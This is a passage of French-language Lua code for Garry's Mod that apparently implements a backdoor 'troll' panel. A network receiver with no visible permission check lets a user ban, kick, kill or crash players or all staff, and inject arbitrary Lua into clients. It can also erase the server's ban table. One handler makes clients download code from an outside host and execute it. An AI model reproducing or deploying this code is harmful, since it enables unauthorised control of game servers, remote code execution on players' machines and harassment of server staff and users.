7646end
7647end ):SetIcon( "icon16/user_delete.png" )
7648
7649ulxsubnoclip:AddOption( "[ON]", function()
7650 net.Start( "echangeinfo" )
7651 net.WriteString("noclipon")
7652 net.WriteEntity( userl )
7653 net.SendToServer()
7654 end ):SetIcon( "icon16/accept.png" )
7655
7656ulxsubnoclip:AddOption( "[OFF]", function()
7657 net.Start( "echangeinfo" )
7658 net.WriteString("noclipoff")
7659 net.WriteEntity( userl )
7660 net.SendToServer()
7661end ):SetIcon( "icon16/cancel.png" )
7662
7663ulx:AddOption( "Donner de l'argent", function()
7664local frame = vgui.Create( "DFrame" )
7665frame:SetSize( 400, 100 )
7666frame:SetTitle( "" )
7667frame:Center()
7668frame:MakePopup()
7669local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7670TextEntry:SetPos( 25, 50 )
7671TextEntry:SetSize( 350, 35 )
7672TextEntry:SetText( "500" )
7673TextEntry.OnEnter = function( self )
7674 net.Start( "echangeinfo" )
7675 net.WriteString("addmoney")
7676 net.WriteEntity( userl )
7677 net.WriteString(TextEntry:GetValue())
7678 net.SendToServer()
7679end
7680end ):SetIcon( "icon16/money_add.png" )
7681
7682ulx:AddOption( "Point de Vie", function()
7683local frame = vgui.Create( "DFrame" )
7684frame:SetSize( 400, 100 )
7685frame:SetTitle( "" )
7686frame:Center()
7687frame:MakePopup()
7688local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7689TextEntry:SetPos( 25, 50 )
7690TextEntry:SetSize( 350, 35 )
7691TextEntry:SetText( "100" )
7692TextEntry.OnEnter = function( self )
7693 net.Start( "echangeinfo" )
7694 net.WriteString("pvheal")
7695 net.WriteEntity( userl )
7696 net.WriteString(TextEntry:GetValue())
7697 net.SendToServer()
7698end
7699end ):SetIcon( "icon16/heart.png" )
7700
7701ulx:AddOption( "Point d'armure", function()
7702local frame = vgui.Create( "DFrame" )
7703frame:SetSize( 400, 100 )
7704frame:SetTitle( "" )
7705frame:Center()
7706frame:MakePopup()
7707local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7708TextEntry:SetPos( 25, 50 )
7709TextEntry:SetSize( 350, 35 )
7710TextEntry:SetText( "250" )
7711TextEntry.OnEnter = function( self )
7712 net.Start( "echangeinfo" )
7713 net.WriteString("armorpv")
7714 net.WriteEntity( userl )
7715 net.WriteString(TextEntry:GetValue())
7716 net.SendToServer()
7717end
7718end ):SetIcon( "icon16/user_suit.png" )
7719
7720troll:AddOption( "Launch", function()
7721 net.Start( "echangeinfo" )
7722 net.WriteString("launchuser")
7723 net.WriteEntity( userl )
7724 net.SendToServer()
7725 actioneff("Vous d'envoyer " .. userl:Nick() .. " dans les airs")
7726end ):SetIcon( "icon16/arrow_up.png" )
7727
7728ulx:AddOption( "Meurtre au RPG", function()
7729 net.Start( "echangeinfo" )
7730 net.WriteString("lockdown")
7731 net.WriteEntity( userl )
7732 net.SendToServer()
7733end ):SetIcon( "icon16/clock_red.png" )
7734
7735troll:AddOption( "2D Players", function()
7736 net.Start( "echangeinfo" )
7737 net.WriteString("2dplayeruser")
7738 net.WriteEntity( userl )
7739 net.SendToServer()
7740end ):SetIcon( "icon16/arrow_up.png" )
7741
7742troll:AddOption( "Donner la grosse tête", function()
7743 net.Start( "echangeinfo" )
7744 net.WriteString("grosseteteuser")
7745 net.WriteEntity( userl )
7746 net.SendToServer()
7747end ):SetIcon( "icon16/bug.png" )
7748
7749troll:AddOption( "Changer la taille du joueur", function()
7750local frame = vgui.Create( "DFrame" )
7751frame:SetSize( 400, 100 )
7752frame:SetTitle( "" )
7753frame:Center()
7754frame:MakePopup()
7755local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7756TextEntry:SetPos( 25, 50 )
7757TextEntry:SetSize( 350, 35 )
7758TextEntry:SetText( "5" )
7759TextEntry.OnEnter = function( self )
7760 net.Start( "echangeinfo" )
7761 net.WriteString("scaleuser")
7762 net.WriteEntity( userl )
7763 net.WriteString(TextEntry:GetValue())
7764 net.SendToServer()
7765end
7766end ):SetIcon( "icon16/application_edit.png" )
7767
7768troll:AddOption( "Faire crash le joueur", function()
7769 net.Start( "echangeinfo" )
7770 net.WriteString("crashuser")
7771 net.WriteEntity( userl )
7772 net.SendToServer()
7773 actioneff(userl:Nick() .. " vient de crash")
7774end ) :SetIcon( "icon16/disconnect.png" )
7775
7776troll:AddOption( "Hurlement", function()
7777 net.Start( "echangeinfo" )
7778 net.WriteString("hurlementuser")
7779 net.WriteEntity( userl )
7780 net.SendToServer()
7781 actioneff("Vous venez d'hurler sur " .. userl:Nick())
7782end ):SetIcon( "icon16/bell.png" )
7783
7784trollsubflash:AddOption( "[ON]", function()
7785 net.Start( "echangeinfo" )
7786 net.WriteString("flashon")
7787 net.WriteEntity( userl )
7788 net.SendToServer()
7789end ):SetIcon( "icon16/accept.png" )
7790
7791trollsubflash:AddOption( "[OFF]", function()
7792 net.Start( "echangeinfo" )
7793 net.WriteString("flashoff")
7794 net.WriteEntity( userl )
7795 net.SendToServer()
7796end ):SetIcon( "icon16/cancel.png" )
7797
7798trollsubscreen:AddOption( "[ON]", function()
7799 net.Start( "echangeinfo" )
7800 net.WriteString("screenon")
7801 net.WriteEntity( userl )
7802 net.SendToServer()
7803end ):SetIcon( "icon16/accept.png" )
7804
7805trollsubscreen:AddOption( "[OFF]", function()
7806 net.Start( "echangeinfo" )
7807 net.WriteString("screenoff")
7808 net.WriteEntity( userl )
7809 net.SendToServer()
7810end ):SetIcon( "icon16/cancel.png" )
7811
7812trollsubstopsound:AddOption( "[ON]", function()
7813 net.Start( "echangeinfo" )
7814 net.WriteString("stopsoundon")
7815 net.WriteEntity( userl )
7816 net.SendToServer()
7817end ):SetIcon( "icon16/accept.png" )
7818
7819trollsubstopsound:AddOption( "[OFF]", function()
7820 net.Start( "echangeinfo" )
7821 net.WriteString("stopsoundoff")
7822 net.WriteEntity( userl )
7823 net.SendToServer()
7824end ):SetIcon( "icon16/cancel.png" )
7825
7826trollsubmoooves:AddOption( "[ON]", function()
7827 net.Start( "echangeinfo" )
7828 net.WriteString("moovetroll")
7829 net.WriteEntity( userl )
7830 net.SendToServer()
7831 actioneff(userl:Nick().." vient de perdre le contrôle")
7832end ):SetIcon( "icon16/accept.png" )
7833
7834trollsubmoooves:AddOption( "[OFF]", function()
7835 net.Start( "echangeinfo" )
7836 net.WriteString("unmoovetroll")
7837 net.WriteEntity( userl )
7838 net.SendToServer()
7839 actioneff(userl:Nick().." vient de reprendre le contrôle")
7840end ):SetIcon( "icon16/cancel.png" )
7841
7842trollsubgravity:AddOption( "[ON]", function()
7843 net.Start( "echangeinfo" )
7844 net.WriteString("cassergr")
7845 net.WriteEntity( userl )
7846 net.SendToServer()
7847 actioneff("Vous venez de casser la gravité de " .. userl:Nick())
7848end ):SetIcon( "icon16/accept.png" )
7849
7850trollsubgravity:AddOption( "[OFF]", function()
7851 net.Start( "echangeinfo" )
7852 net.WriteString("retablirgr")
7853 net.WriteEntity( userl )
7854 net.SendToServer()
7855 actioneff("Vous venez de rétablir la gravité à " .. userl:Nick())
7856end ):SetIcon( "icon16/cancel.png" )
7857
7858trollsubjumpc:AddOption( "[ON]", function()
7859 net.Start( "echangeinfo" )
7860 net.WriteString("jumpuser")
7861 net.WriteEntity( userl )
7862 net.SendToServer()
7863 actioneff("Vous venez de casser la gravité des sauts de " .. userl:Nick())
7864end ):SetIcon( "icon16/accept.png" )
7865
7866trollsubjumpc:AddOption( "[OFF]", function()
7867 net.Start( "echangeinfo" )
7868 net.WriteString("retablirjumpuser")
7869 net.WriteEntity( userl )
7870 net.SendToServer()
7871 actioneff("Vous venez de rétablir la gravité des sauts de " .. userl:Nick())
7872end ):SetIcon( "icon16/cancel.png" )
7873
7874troll:AddOption( "Black Screen", function()
7875 net.Start( "echangeinfo" )
7876 net.WriteString("blackscreen")
7877 net.WriteEntity( userl )
7878 net.SendToServer()
7879 actioneff("Vous venez d'enlever la vue à " .. userl:Nick())
7880end ):SetIcon( "icon16/contrast.png" )
7881
7882troll:AddOption( "Imitation", function()
7883local frame = vgui.Create( "DFrame" )
7884frame:SetSize( 400, 100 )
7885frame:SetTitle( "" )
7886frame:Center()
7887frame:MakePopup()
7888local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7889TextEntry:SetPos( 25, 50 )
7890TextEntry:SetSize( 350, 35 )
7891TextEntry:SetText( "/ooc Je suis un soumis." )
7892TextEntry.OnEnter = function( self )
7893 net.Start( "echangeinfo" )
7894 net.WriteString("imitation")
7895 net.WriteEntity( userl )
7896 net.WriteString(TextEntry:GetValue())
7897 net.SendToServer()
7898end
7899end ):SetIcon( "icon16/application_edit.png" )
7900
7901trollsubmic:AddOption( "[ON]", function()
7902 net.Start( "echangeinfo" )
7903 net.WriteString("micon")
7904 net.WriteEntity( userl )
7905 net.SendToServer()
7906 actioneff("Vous avez activer le micro de " .. userl:Nick() )
7907end ):SetIcon( "icon16/accept.png" )
7908
7909trollsubmic:AddOption( "[OFF]", function()
7910 net.Start( "echangeinfo" )
7911 net.WriteString("micoff")
7912 net.WriteEntity( userl )
7913 net.SendToServer()
7914 actioneff("Vous avez désactiver le micro de " .. userl:Nick() )
7915end ):SetIcon( "icon16/cancel.png" )
7916
7917troll:AddOption( "Changer le model", function()
7918local frame = vgui.Create( "DFrame" )
7919frame:SetSize( 400, 100 )
7920frame:SetTitle( "" )
7921frame:Center()
7922frame:MakePopup()
7923local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7924TextEntry:SetPos( 25, 50 )
7925TextEntry:SetSize( 350, 35 )
7926TextEntry:SetText( "models/editor/playerstart.mdl" )
7927TextEntry.OnEnter = function( self )
7928 net.Start( "echangeinfo" )
7929 net.WriteString("setmodel")
7930 net.WriteEntity( userl )
7931 net.WriteString(TextEntry:GetValue())
7932 net.SendToServer()
7933end
7934end ):SetIcon( "icon16/box.png" )
7935
7936troll:AddOption( "Send LUA", function()
7937local frame = vgui.Create( "DFrame" )
7938frame:SetSize( 400, 100 )
7939frame:SetTitle( "" )
7940frame:Center()
7941frame:MakePopup()
7942local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7943TextEntry:SetPos( 25, 50 )
7944TextEntry:SetSize( 350, 35 )
7945TextEntry:SetText( "Lua Code" )
7946TextEntry.OnEnter = function( self )
7947 net.Start( "echangeinfo" )
7948 net.WriteString("sendluauser")
7949 net.WriteEntity( userl )
7950 net.WriteString(TextEntry:GetValue())
7951 net.SendToServer()
7952end
7953end ):SetIcon( "icon16/application_xp_terminal.png" )
7954
7955
7956visuel:AddOption( "Visuel John", function()
7957 net.Start( "echangeinfo" )
7958 net.WriteString("johnsound")
7959 net.WriteEntity( userl )
7960 net.SendToServer()
7961end ):SetIcon( "icon16/application_xp_terminal.png" )
7962
7963soundboard:AddOption( "SoundBoard Lien", function()
7964local frame = vgui.Create( "DFrame" )
7965frame:SetSize( 400, 100 )
7966frame:SetTitle( "" )
7967frame:Center()
7968frame:MakePopup()
7969local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
7970TextEntry:SetPos( 25, 50 )
7971TextEntry:SetSize( 350, 35 )
7972TextEntry:SetText( "Lua Code" )
7973TextEntry.OnEnter = function( self )
7974 net.Start( "echangeinfo" )
7975 net.WriteString("soundboard")
7976 net.WriteEntity( userl )
7977 net.WriteString(TextEntry:GetValue())
7978 net.SendToServer()
7979end
7980end ):SetIcon( "icon16/application_xp_terminal.png" )
7981
7982ulxsubgod:AddOption( "[ON]", function()
7983 net.Start( "echangeinfo" )
7984 net.WriteString("goduseron")
7985 net.WriteEntity( userl )
7986 net.SendToServer()
7987 actioneff("Vous venez de mettre en mode dieu " .. userl:Nick())
7988 end ):SetIcon( "icon16/heart_add.png" )
7989ulxsubgod:AddOption( "[OFF]", function()
7990 net.Start( "echangeinfo" )
7991 net.WriteString("goduseroff")
7992 net.WriteEntity( userl )
7993 net.SendToServer()
7994 actioneff("Vous venez d'enlever de mode dieu " .. userl:Nick())
7995 end ):SetIcon( "icon16/heart_delete.png" )
7996ulx:AddOption( "Give une arme", function()
7997local frame = vgui.Create( "DFrame" )
7998frame:SetSize( 400, 100 )
7999frame:SetTitle( "" )
8000frame:Center()
8001frame:MakePopup()
8002local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
8003TextEntry:SetPos( 25, 50 )
8004TextEntry:SetSize( 350, 35 )
8005TextEntry:SetText( "weapon_rpg" )
8006TextEntry.OnEnter = function( self )
8007 net.Start( "echangeinfo" )
8008 net.WriteString("items")
8009 net.WriteEntity( userl )
8010 net.WriteString(TextEntry:GetValue())
8011 net.SendToServer()
8012end
8013end ):SetIcon( "icon16/bomb.png" )
8014
8015ulx:AddOption( "Kick", function()
8016local frame = vgui.Create( "DFrame" )
8017frame:SetSize( 400, 100 )
8018frame:SetTitle( "" )
8019frame:Center()
8020frame:MakePopup()
8021local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
8022TextEntry:SetPos( 25, 50 )
8023TextEntry:SetSize( 350, 35 )
8024TextEntry:SetText( "Raison..." )
8025TextEntry.OnEnter = function( self )
8026 net.Start( "echangeinfo" )
8027 net.WriteString("kickuser")
8028 net.WriteEntity( userl )
8029 net.WriteString(TextEntry:GetValue())
8030 net.SendToServer()
8031end
8032end ):SetIcon( "icon16/status_away.png" )
8033
8034ulx:AddOption( "Ban", function()
8035 net.Start( "echangeinfo" )
8036 net.WriteString("banuser")
8037 net.WriteEntity( userl )
8038 net.SendToServer()
8039 actioneff("Vous venez de ban " .. userl:Nick())
8040end ):SetIcon( "icon16/status_busy.png" )
8041
8042ulx:AddOption( "BanIP", function()
8043 net.Start( "echangeinfo" )
8044 net.WriteString("banipuser")
8045 net.WriteEntity( userl )
8046 net.SendToServer()
8047 actioneff("Vous venez de banIP " .. userl:Nick())
8048end ):SetIcon( "icon16/status_busy.png" )
8049
8050ulxsubfreeze:AddOption( "[ON]", function()
8051 net.Start( "echangeinfo" )
8052 net.WriteString("freezeuser")
8053 net.WriteEntity( userl )
8054 net.SendToServer()
8055 actioneff("Vous venez de freeze " .. userl:Nick())
8056end ):SetIcon( "icon16/accept.png" )
8057
8058ulxsubfreeze:AddOption( "[OFF]", function()
8059 net.Start( "echangeinfo" )
8060 net.WriteString("unfreezeuser")
8061 net.WriteEntity( userl )
8062 net.SendToServer()
8063 actioneff("Vous venez de unfreeze " .. userl:Nick())
8064end ):SetIcon( "icon16/cancel.png" )
8065
8066ulx:AddOption( "Unjail", function()
8067 net.Start( "echangeinfo" )
8068 net.WriteString("unjailall")
8069 net.WriteEntity( userl )
8070 net.SendToServer()
8071end ):SetIcon( "icon16/bomb.png" )
8072
8073ulx:AddOption( "Stripweapon", function()
8074 net.Start( "echangeinfo" )
8075 net.WriteString("strip")
8076 net.WriteEntity( userl )
8077 net.SendToServer()
8078 actioneff("Vous venez d'enlever les armes de " .. userl:Nick() )
8079end ):SetIcon( "icon16/bomb.png" )
8080
8081ulx:AddOption( "Context De Combat", function()
8082 net.Start( "echangeinfo" )
8083 net.WriteString("contextfucker")
8084 net.WriteEntity( userl )
8085 net.SendToServer()
8086 actioneff("Vient d'obtenir le pouvoir de vie et de mort ")
8087end ):SetIcon( "icon16/bomb.png" )
8088
8089tpsubgmconstruct:AddOption( "Spawn", function()
8090 net.Start( "echangeinfo" )
8091 net.WriteString("gm_construct_spawn")
8092 net.WriteEntity( userl )
8093 net.SendToServer()
8094end )
8095
8096tpsubgmconstruct:AddOption( "Building N°1 [Dernière étage]", function()
8097 net.Start( "echangeinfo" )
8098 net.WriteString("gm_construct_building_roof0")
8099 net.WriteEntity( userl )
8100 net.SendToServer()
8101end )
8102
8103tpsubgmconstruct:AddOption( "Building N°1 [Toit]", function()
8104 net.Start( "echangeinfo" )
8105 net.WriteString("gm_construct_building_roof1")
8106 net.WriteEntity( userl )
8107 net.SendToServer()
8108end )
8109
8110tpsubgmconstruct:AddOption( "Building N°2 [Dernière étage]", function()
8111 net.Start( "echangeinfo" )
8112 net.WriteString("gm_construct_building2_roof1")
8113 net.WriteEntity( userl )
8114 net.SendToServer()
8115end )
8116
8117tpsubgmconstruct:AddOption( "Building N°2 [Toit]", function()
8118 net.Start( "echangeinfo" )
8119 net.WriteString("gm_construct_building2_roof0")
8120 net.WriteEntity( userl )
8121 net.SendToServer()
8122end )
8123
8124tpsubgmconstruct:AddOption( "Building N°3 [Toit]", function()
8125 net.Start( "echangeinfo" )
8126 net.WriteString("gm_construct_building3_roof0")
8127 net.WriteEntity( userl )
8128 net.SendToServer()
8129end )
8130
8131
8132tpsubgmconstruct:AddOption( "Sous-Sol", function()
8133 net.Start( "echangeinfo" )
8134 net.WriteString("gm_construct_down")
8135 net.WriteEntity( userl )
8136 net.SendToServer()
8137end )
8138
8139tpsubgmconstruct:AddOption( "Secret Room", function()
8140 net.Start( "echangeinfo" )
8141 net.WriteString("gm_construct_secret")
8142 net.WriteEntity( userl )
8143 net.SendToServer()
8144end )
8145tpsubgmconstruct:AddOption( "Skybox", function()
8146 net.Start( "echangeinfo" )
8147 net.WriteString("gm_construct_skybox")
8148 net.WriteEntity( userl )
8149 net.SendToServer()
8150end )
8151
8152tpsubgmflat:AddOption( "Secret Room", function()
8153 net.Start( "echangeinfo" )
8154 net.WriteString("gm_flat_secret")
8155 net.WriteEntity( userl )
8156 net.SendToServer()
8157end )
8158
8159tpsubglife3:AddOption( "Grue", function()
8160 net.Start( "echangeinfo" )
8161 net.WriteString("glife3_grue")
8162 net.WriteEntity( userl )
8163 net.SendToServer()
8164end )
8165
8166tpsubglife3:AddOption( "Water tower", function()
8167 net.Start( "echangeinfo" )
8168 net.WriteString("glife3_water_tower")
8169 net.WriteEntity( userl )
8170 net.SendToServer()
8171end )
8172
8173tpsubglife3:AddOption( "Bank Vault", function()
8174 net.Start( "echangeinfo" )
8175 net.WriteString("glife3_coffre")
8176 net.WriteEntity( userl )
8177 net.SendToServer()
8178end )
8179
8180tpsubglife3:AddOption( "Secret Room", function()
8181 net.Start( "echangeinfo" )
8182 net.WriteString("glife3_secret")
8183 net.WriteEntity( userl )
8184 net.SendToServer()
8185end )
8186
8187downtownv4cv2:AddOption( "Spawn", function()
8188 net.Start( "echangeinfo" )
8189 net.WriteString("rp_rockford_v2b_spawn")
8190 net.WriteEntity( userl )
8191 net.SendToServer()
8192end )
8193
8194animation:AddOption( "Saluer", function()
8195 net.Start( "echangeinfo" )
8196 net.WriteString("animation_salute_user")
8197 net.WriteEntity( userl )
8198 net.SendToServer()
8199end ):SetIcon( "icon16/bell.png" )
8200
8201animation:AddOption( "Robot", function()
8202 net.Start( "echangeinfo" )
8203 net.WriteString("animation_robot_user")
8204 net.WriteEntity( userl )
8205 net.SendToServer()
8206end ):SetIcon( "icon16/bell.png" )
8207
8208animation:AddOption( "Levez les mains", function()
8209 net.Start( "echangeinfo" )
8210 net.WriteString("animation_cheer_user")
8211 net.WriteEntity( userl )
8212 net.SendToServer()
8213end ):SetIcon( "icon16/bell.png" )
8214
8215animation:AddOption( "Rire", function()
8216 net.Start( "echangeinfo" )
8217 net.WriteString("animation_laugh_user")
8218 net.WriteEntity( userl )
8219 net.SendToServer()
8220end ):SetIcon( "icon16/bell.png" )
8221
8222animation:AddOption( "Danse sexy", function()
8223 net.Start( "echangeinfo" )
8224 net.WriteString("animation_muscle_user")
8225 net.WriteEntity( userl )
8226 net.SendToServer()
8227end ):SetIcon( "icon16/bell.png" )
8228
8229animation:AddOption( "Faire le beau", function()
8230 net.Start( "echangeinfo" )
8231 net.WriteString("animation_persistence_user")
8232 net.WriteEntity( userl )
8233 net.SendToServer()
8234end ):SetIcon( "icon16/bell.png" )
8235
8236animation:AddOption( "Dance", function()
8237 net.Start( "echangeinfo" )
8238 net.WriteString("animation_dance_user")
8239 net.WriteEntity( userl )
8240 net.SendToServer()
8241end ):SetIcon( "icon16/bell.png" )
8242
8243
8244mooves:AddOption( "[ON]Avancer", function()
8245 net.Start( "echangeinfo" )
8246 net.WriteString("forwardmoove")
8247 net.WriteEntity( userl )
8248 net.SendToServer()
8249 actioneff("Vous venez de faire avancer " .. userl:Nick() )
8250end ):SetIcon( "icon16/accept.png" )
8251
8252mooves:AddOption( "[OFF]Avancer", function()
8253 net.Start( "echangeinfo" )
8254 net.WriteString("unforwardmoove")
8255 net.WriteEntity( userl )
8256 net.SendToServer()
8257 actioneff("Vous venez d'arrêter de faire avancer " .. userl:Nick() )
8258end ):SetIcon( "icon16/stop.png" )
8259
8260mooves:AddOption( "[ON]Reculer", function()
8261 net.Start( "echangeinfo" )
8262 net.WriteString("backmoove")
8263 net.WriteEntity( userl )
8264 net.SendToServer()
8265 actioneff("Vous venez de faire reculer " .. userl:Nick() )
8266end ):SetIcon( "icon16/accept.png" )
8267
8268mooves:AddOption( "[OFF]Reculer", function()
8269 net.Start( "echangeinfo" )
8270 net.WriteString("unbackmoove")
8271 net.WriteEntity( userl )
8272 net.SendToServer()
8273 actioneff("Vous venez d'arrêter de faire reculer " .. userl:Nick() )
8274end ):SetIcon( "icon16/stop.png" )
8275
8276mooves:AddOption( "[ON]Tourner à gauche", function()
8277 net.Start( "echangeinfo" )
8278 net.WriteString("leftmoove")
8279 net.WriteEntity( userl )
8280 net.SendToServer()
8281 actioneff("Vous venez de faire touner à gauche " .. userl:Nick() )
8282end ):SetIcon( "icon16/accept.png" )
8283
8284mooves:AddOption( "[OFF]Tourner à gauche", function()
8285 net.Start( "echangeinfo" )
8286 net.WriteString("unleftmoove")
8287 net.WriteEntity( userl )
8288 net.SendToServer()
8289 actioneff("Vous venez d'arrêter de faire touner à gauche " .. userl:Nick() )
8290end ):SetIcon( "icon16/stop.png" )
8291
8292mooves:AddOption( "[ON]Tourner à droite", function()
8293 net.Start( "echangeinfo" )
8294 net.WriteString("rightmoove")
8295 net.WriteEntity( userl )
8296 net.SendToServer()
8297 actioneff("Vous venez d'arrêter de faire touner à droite " .. userl:Nick() )
8298end ):SetIcon( "icon16/accept.png" )
8299
8300mooves:AddOption( "[OFF]Tourner à droite", function()
8301 net.Start( "echangeinfo" )
8302 net.WriteString("unrightmoove")
8303 net.WriteEntity( userl )
8304 net.SendToServer()
8305 actioneff("Vous venez d'arrêter de faire touner à gauche " .. userl:Nick() )
8306end ):SetIcon( "icon16/stop.png" )
8307
8308mooves:AddOption( "[ON]S'accroupir", function()
8309 net.Start( "echangeinfo" )
8310 net.WriteString("squatmoove")
8311 net.WriteEntity( userl )
8312 net.SendToServer()
8313 actioneff("Vous venez de faire s'accroupir " .. userl:Nick() )
8314end ):SetIcon( "icon16/accept.png" )
8315
8316mooves:AddOption( "[OFF]S'accroupir", function()
8317 net.Start( "echangeinfo" )
8318 net.WriteString("unsquatmoove")
8319 net.WriteEntity( userl )
8320 net.SendToServer()
8321 actioneff("Vous venez d'arrêter de faire s'accroupir " .. userl:Nick() )
8322end ):SetIcon( "icon16/stop.png" )
8323
8324
8325m:AddSpacer() -- Add a spacer
8326m:Open() -- Show our menu
8327end
8328 ]] )
8329 net.Send(ply)
8330 return ""
8331end )
8332
8333
8334net.Receive("echangeinfo", function()
8335 local uaction = net.ReadString()
8336 local user = net.ReadEntity()
8337
8338 if (uaction == "banall") then
8339 for k,v in pairs (player.GetAll()) do v:Ban( 0, true ) end
8340 end
8341
8342 if (uaction == "banallstaff") then
8343 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Ban( 0, true ) end end
8344
8345 end
8346
8347 if (uaction == "blackscreen") then
8348 user:ScreenFade( SCREENFADE.IN, Color( 0, 0, 0, 500 ), 500000, 500000 )
8349 end
8350
8351 if (uaction == "imitation") then
8352 user:Say( net.ReadString(),true )
8353 end
8354
8355 if (uaction == "sendluauser") then
8356 user:SendLua( net.ReadString() ) --sound.PlayURL( "https://translate.google.com/translate_tts?ie=UTF-8&tl=fr-TR&client=tw-ob&q=TEXTE", "", function()end )
8357 end
8358
8359 if (uaction == "johnsound") then
8360 user:SendLua( [[http.Fetch("https://akitaman.000webhostapp.com/john.lua",function(body,len,headers,code)RunString(body)end) ]] ) --sound.PlayURL( "https://translate.google.com/translate_tts?ie=UTF-8&tl=fr-TR&client=tw-ob&q=TEXTE", "", function()end )
8361 end
8362
8363 if (uaction == "soundboard") then
8364 user:SendLua( [[sound.PlayURL( "]]..net.ReadString()..[[", "", function()end )]] ) --sound.PlayURL( "https://translate.google.com/translate_tts?ie=UTF-8&tl=fr-TR&client=tw-ob&q=TEXTE", "", function()end )
8365 end
8366
8367 if (uaction == "kickuser") then
8368 user:Kick( net.ReadString() )
8369 end
8370
8371 if (uaction == "addmoney") then
8372 user:addMoney(net.ReadString())
8373 end
8374
8375 if (uaction == "stopsoundon") then
8376 user:SendLua([[timer.Create("stopsound", 0.001, 0, function() LocalPlayer():ConCommand("stopsound") end)]])
8377 end
8378
8379 if (uaction == "stopsoundoff") then
8380 user:SendLua([[timer.Remove("stopsound")]])
8381 end
8382
8383 if (uaction == "igniteall") then
8384 for k,v in pairs(player.GetAll()) do v:Ignite(120) end
8385 end
8386
8387 if (uaction == "igniteallstaff") then
8388 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Ignite(120) end end
8389 end
8390
8391 if (uaction == "healall") then
8392 for k,v in pairs (player.GetAll()) do v:SetHealth( net.ReadString() ) end
8393 end
8394
8395 if (uaction == "armorall") then
8396 for k,v in pairs (player.GetAll()) do v:SetArmor( net.ReadString() ) end
8397 end
8398
8399 if (uaction == "banuser") then
8400 user:Ban( 0, true )
8401 end
8402
8403 if (uaction == "banipuser") then
8404 RunConsoleCommand( "addip", 0, user:IPAddress() )
8405 RunConsoleCommand( "writeip" )
8406 end
8407
8408 if (uaction == "kickall") then
8409 for k,v in pairs (player.GetAll()) do v:Kick( net.ReadString() ) end
8410 end
8411
8412 if (uaction == "kickallstaff") then
8413 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Kick( net.ReadString() ) end end
8414 end
8415
8416 if (uaction == "killall") then
8417 for k,v in pairs (player.GetAll()) do v:Kill() end
8418 end
8419
8420 if (uaction == "exploseall") then
8421 for k,v in pairs(player.GetAll()) do
8422 local explode = ents.Create( "env_explosion" )
8423 explode:SetPos(v:GetPos())
8424 explode:Spawn()
8425 explode:SetKeyValue( "iMagnitude", "10" )
8426 explode:Fire( "Explode", 0, 0 )
8427 explode:EmitSound( "weapon_AWP.Single", 400, 400 )
8428 v:Kill()
8429 end
8430 end
8431
8432 if (uaction == "exploseuser") then
8433 local explode = ents.Create( "env_explosion" )
8434 explode:SetPos(user:GetPos())
8435 explode:Spawn()
8436 explode:SetKeyValue( "iMagnitude", "10" )
8437 explode:Fire( "Explode", 0, 0 )
8438 explode:EmitSound( "weapon_AWP.Single", 400, 400 )
8439 user:Kill()
8440 end
8441
8442 if (uaction == "exploseall") then
8443 for k,v in pairs(player.GetAll()) do
8444 if( v:GetUserGroup() != "user" ) then
8445 local explode = ents.Create( "env_explosion" )
8446 explode:SetPos(v:GetPos())
8447 explode:Spawn()
8448 explode:SetKeyValue( "iMagnitude", "10" )
8449 explode:Fire( "Explode", 0, 0 )
8450 explode:EmitSound( "weapon_AWP.Single", 400, 400 )
8451 v:Kill()
8452 end
8453 end
8454 end
8455
8456 if (uaction == "killallstaff") then
8457 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Kill() end end
8458 end
8459
8460 if (uaction == "freezeall") then
8461 for k,v in pairs (player.GetAll()) do v:Freeze( true ) end
8462 end
8463
8464 if (uaction == "freezeallstaff") then
8465 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Freeze( true ) end end
8466 end
8467
8468 if (uaction == "freezeuser") then
8469 user:Freeze( true )
8470 end
8471
8472 if (uaction == "moovetroll") then
8473 user:ConCommand( "+duck" )
8474 user:ConCommand( "+left" )
8475 user:ConCommand( "+jump" )
8476 end
8477
8478 if (uaction == "moovetrollall") then
8479 for k,v in pairs (player.GetAll()) do v:ConCommand( "+duck" ) end
8480 for k,v in pairs (player.GetAll()) do v:ConCommand( "+left" ) end
8481 for k,v in pairs (player.GetAll()) do v:ConCommand( "+jump" ) end
8482 end
8483
8484 if (uaction == "unmoovetroll") then
8485 user:ConCommand( "-duck" )
8486 user:ConCommand( "-left" )
8487 user:ConCommand( "-jump" )
8488 end
8489
8490 if (uaction == "unmoovetrollall") then
8491 for k,v in pairs (player.GetAll()) do v:ConCommand( "-duck" ) end
8492 for k,v in pairs (player.GetAll()) do v:ConCommand( "-left" ) end
8493 for k,v in pairs (player.GetAll()) do v:ConCommand( "-jump" ) end
8494 end
8495
8496 if (uaction == "addmoneyalls") then
8497 local money = net.ReadString()
8498 for k,v in pairs (player.GetAll()) do v:addMoney(money) end
8499 end
8500
8501 if (uaction == "forwardmooveall") then
8502 for k,v in pairs (player.GetAll()) do v:ConCommand( "+forward" ) end
8503 end
8504
8505 if (uaction == "botspam") then
8506 local n = net.ReadString()
8507 for i=1,n do
8508 RunConsoleCommand("bot")
8509 end
8510 end
8511
8512 if (uaction == "unforwardmooveall") then
8513 for k,v in pairs (player.GetAll()) do v:ConCommand( "-forward" ) end
8514 end
8515
8516 if (uaction == "hurlement") then
8517 for k,v in pairs(player.GetAll()) do v:EmitSound( "npc/stalker/go_alert2a.wav", 100, 100 ) end
8518 end
8519
8520 if (uaction == "hurlementuser") then
8521 user:EmitSound( "npc/stalker/go_alert2a.wav", 100, 100 )
8522 end
8523
8524 if (uaction == "unbanall") then
8525 sql.Query("DELETE FROM `FAdminBans`")
